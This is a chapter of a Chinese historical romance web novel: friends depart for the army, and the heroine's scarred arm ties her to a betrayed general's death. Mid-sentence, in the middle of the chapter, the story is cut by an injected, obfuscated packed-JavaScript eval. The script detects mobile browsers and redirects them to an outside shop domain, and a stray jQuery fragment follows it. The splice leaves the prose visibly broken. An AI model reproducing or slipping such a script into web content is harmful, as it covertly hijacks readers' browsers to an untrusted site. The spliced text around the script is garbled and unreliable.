寒雨缠绵了大半月，才歇了半日，黄昏时竟又落起来，这一回竟夹着细碎的雪粒，细细打在窗纸上。
这是入冬前的第一场雨。
霜降一过，寒气便从地底往上渗，屋里生了炭盆，炭火偶尔噼啪一声，迸出几粒火星子。年糕就缩在旁边打瞌睡，尾巴尖不时扫一扫地砖。
晚桐坐在窗前，取出那片干得透光的海棠花瓣，瞧着丝丝缕缕的脉络，开花奶奶等了那么久，什么都没剩下，只剩下这一片花。
窗外忽然传来一阵锣响。
是官府的人在街头敲锣，咣咣咣的声音穿过雨雪，穿过院墙，穿过窗纸，一直钻进耳朵里来。
是征兵。
燕朔在永和边境蠢蠢欲动，朝廷加募新兵，告示贴满了岚城的大街小巷。
晚桐瞧着开花奶奶的字迹：
“燕朔铜脉，一半在永和，一半在燕朔。”
永和封矿已久，市面上却忽然出现了燕朔铜，原来是燕朔将有异动。
开花奶奶早就给出了答案，只是那时候谁也不懂。
燕朔铜不是凭空冒出来的，是有人在为打仗筹钱。
入冬以后北边的商道就要封了，他们赶在封道之前把最后一批货运出去。
难怪，难怪赶得这样急。
这时突然从外头传来阿檀的声音，“小姐，你快来，你瞧瞧这是何人？”
晚桐循着声音瞧去，铁柱就站在树下，肩上落了一层薄薄的雪粒。
“铁柱，你怎么来了？”
“来瞧瞧你，顺道跟你说一声，我要去当兵了！”
“我就知道，铁柱将军！定于何时出发？”晚桐一拍铁柱，恭喜他得偿所愿。
“嗯，后日回中州，从那边出发。”铁柱扯了扯衣摆的褶皱，“原先还想着，等那棵槐树再长高些，给你做个秋千，现在看来，得等回来了。”
晚桐想起铁柱给她种的那棵小树苗，想起他说“一百年就一百年呗，我等得起”，想起那年从老槐树上摔下来，是他伸了胳膊去接。
“那棵树我在入冬前培了土，裹了草绳，不会冻着。”
“等你回来啊，铁柱将军。”
铁柱笑了，那笑容和三岁时一样简单，嘴角往两边咧，露出两颗虎牙。“我可不是将军，我就是个新兵蛋子，将军哪是我这样的！”
“将军都是从新兵蛋子做起的，说好了等你当上将军，我请你吃槐花糕，做一大桌子。”
“还有芝麻糖和蜜饯！”阿檀在旁边赶紧补充，但听着声音却和平日里有些不同。
“行。”铁柱应了一声，呼出的白气散在寒风里，映得他的脸微微发红。
耿三站在远处看着铁柱的背影，仿佛是在看一件自己做过很多遍、知道结局却又不能开口的事。
晚桐交待了许多，然后送铁柱出了院门，转身便对阿檀道：“家里存的草药不够，铁柱后天就要走了，我们去后山再挖一些。”
阿檀应了一声，去灶间拿药锄和背篓，两人便往岚城后山走去。
后山有一片老枫林，叶子已经落了大半，剩下的几片挂在枝头瑟瑟地抖，颜色也从大红褪成了暗赭，像是凝固了的血。
阿檀眼尖，蹲在坡上挖强筋骨的巴戟天，晚桐则在林间找丹参，土都冻硬了，每一下都要使足力气。
晚桐突然沈惊鸿就站在前面不远处的树下。
他穿了一件半旧的灰鼠斗篷，领口的毛边被风吹得翻起来，沾了几粒将化未化的雪，也不知来了多久。
晚桐直起腰，手里拿着一截挖断了的丹参。
“沈公子，好巧，不过今日年糕并未来找我。”
“我知道，天冷它不爱出门。”沈惊鸿望着晚桐，“跟我去一个地方。”此刻他未如往日里那般插科打诨，倒是露出了少见的疲惫。
晚桐看了他一眼，转头跟阿檀交代了一句，便随他往山上走。
两人沿着一条几乎被落叶淹没的石阶往上走，石阶的边角被岁月磨得圆钝，缝隙里长满了青苔。
岚山最高处是一块向外伸出的断崖，像一截被斩断的刀尖，孤零零地指着北方。
风从苍茫天地间生出，扫过山顶，似是许多人在远处齐齐地叹息。
沈惊鸿走到崖边停住，长风灌满他的斗篷，猎猎作响，他背对着晚桐站着，面朝北方说道：“我决定从军，有些事想同你讲。”
“何事？”
“祖父沈晋，当年是昭宁朝的小文官。”沈惊鸿的声音从风里传过来，“他临终前反复说害了赵将军。”
晚桐的目光微微一动，问道：“是赵崇？”
“是，那位落星关之战的主将。”沈惊鸿答道，他转过身来盯着晚桐的眼眸，面上露出一丝决绝，“我祖父欠赵崇一条命，我来还。”
晚桐没有说话，这个名字沉甸甸的落在她心上，手臂上的疤开始疼痛。
晚桐觉得这个名字仿佛一直都在她的生活里，只是藏在某个她看不见的地方。
藏在开花奶奶欲言又止的叹息里，藏在言夫子有意提起的一句话，藏在她手臂上那道疤偶尔的跳动里。
现在终于藏不住了，从各种缝隙里往外冒。
“你打算怎么还？”晚桐问道。
“边关军中还有其相识之人，我要找到他们。”
“找到之后呢？”
“问清楚出卖他的人是谁，然后杀了那个人。”沈惊鸿没有慷慨激昂，没有咬牙切齿，像是在说一件理所当然的事。
这种平静，让晚桐觉得后背发凉。
风很大，晚桐鬓边的碎发被吹得遮住了半边脸。
她看着沈惊鸿的侧脸，忽然觉得他不一样了。
沈惊鸿的眼睛里有一种光，那是一种把后路全部烧掉之后才有的光。
太亮了，亮得灼人，但也亮不久。
她没有说，她知道说了也没用。从这一刻起，沈惊鸿不再是那个在枫树下喂猫、在茶楼里和她斗嘴的沈公子了。
沈惊鸿望着脚下的万里关山，忽然极轻地笑了一声。那声笑被风卷走了大半，剩下的半截落在她耳朵里，有一点哑，像是在自嘲，又像是在和什么东西诀别。
他把自己变成了一把刀。
而利刃出鞘是没有回头路的。
两人从崖上下来的时候，天色已经暗了，两个人都不说话，只有脚步声和风声。
他们并不知道，刚才他们的对话全被另一人一字不漏地听了进去。
并非阿檀。
钟景行就站在崖边那片矮松林里，离他们不过十来步，却一动不动，直到那两个人一前一后下了山，身影被枫林吞没。
沈惊鸿的每一个字钟景行都听见了。
但是这件事他没有告诉任何人。
铁柱启程回中州的那日，晚桐将做好的药拿给铁柱和耿三。
耿三接过那包沉甸甸的药，行了个礼，“小姐费心了。”
“耿伯，你说过是从边关回来的，那落星关，你可熟悉？”
耿三弯下去的背脊晃了一下，目光向下，不知落在哪一年的风雪里。“我那会儿刚入伍不久，这一仗我没赶上。”
“但军中的老兵，人人都晓得昭宁那位镇国将
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605608|203756||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
军。带着八千将士，一起殒命关外。”
“燕朔主将敬他勇烈，把他葬在关外的高坡上，面朝昭京。”
“听说那年仗打完了，漫山遍野的杜鹃喝饱了血，开得比哪年都好。”
晚桐手臂上那道旧疤又毫无预兆地疼了一下，她伸手按住按住手臂，她不知道这道疤和赵崇有什么关系，开花奶奶从来没有跟她提过“赵崇”这两个字。
但她晓得，能让这道疤跳的，都不是小事。
那天晚上，寒风拍了一夜的窗，晚桐做了一夜的梦。
梦里有一片开满杜鹃的山坡，红得像血，从山顶一直铺到山脚。奇怪的是天上在落雪，雪花一片一片落在花瓣上，红白交叠，触目惊心。
山坡上站着一个穿盔甲的人，背对着她，面朝北方。
雪落在他的盔缨上，落在他的肩甲上，落在他握剑的手上。
风吹起他的披风，猎猎作响。
那个人慢慢转过身来。
她看不清他的脸。
只看见他胸前插满了箭，每一支都插得很深，深得只露出箭尾的翎羽。翎羽上沾着雪，也沾着冻成冰的血。
那人低头看着自己身上的箭，然后抬起头，朝她的方向看了一眼。
那一眼像隔着很远很远的距离，又像隔了很多很多年，然后他就消失了。
山坡上没有杜鹃，没有雪，只有漫山遍野的枯草在寒风里伏倒又立起，伏倒又立起，像一场无声的告别。
晚桐从梦中被疼痛惊醒，炭火已经熄了，寒气从窗缝里钻进来，手臂上那道疤一下一下地疼，她的额头沁出一层薄汗，咬紧嘴唇努力忍着。
沈晋说，是我害了赵将军。
邹牧尘说，知道却没能阻止，一样是罪。
两个人说的是同一件事，落星关之战。
出卖赵崇的人，是谁？
邹牧尘知道但没能阻止的，又是什么？
沈晋被胁迫的，又是谁布下的局？
这些问题，现在都没有答案。
但她知道，它们全指向同一个人，那个开花奶奶一直在找的人，她不能再让这条路断在她手里。
半月后，沈惊鸿即将出发。
那天是个难得的晴天，阳光把岚城青灰色的屋瓦铺上一层淡淡的金色。
沈惊鸿最后一次站在书院门口的树下。
树上最后几片叶子在风里打转，有一片落在他肩上，他没拂。
书院的门吱呀一声开了。
晚桐从里面走出来，手里拿着一包东西，在门槛边上停住了，“你怎么在这儿？”
“等你。”
晚桐将手里那包东西递给沈惊鸿。
是草药，方方正正的，上面还扎了几圈红色的棉线，和给铁柱的那一包一模一样。
“军中辛苦，备些常用的药。”
“江晚桐。”
“嗯？”
“别忘了我。”
晚桐笑了，带着一点大大咧咧的不在意，“你又不是不回来了。”
沈惊鸿看着晚桐笑的样子，他想说“万一我回不来呢”，想说“这一去不一样”，想说“我查的那些事，查到的人，可能会要了我的命”。
可是看见她的笑，又把那些话咽了回去。
然后沈惊鸿转身离开了，走到巷口拐角的时候，他停了一下，但终究没有回头。
晚桐站在书院门口，看着那个背影一点一点变小，最后消失在巷子尽头的光影里。
她不知道，他这一走，再也没能回来。
入冬了，路要结冰，难走。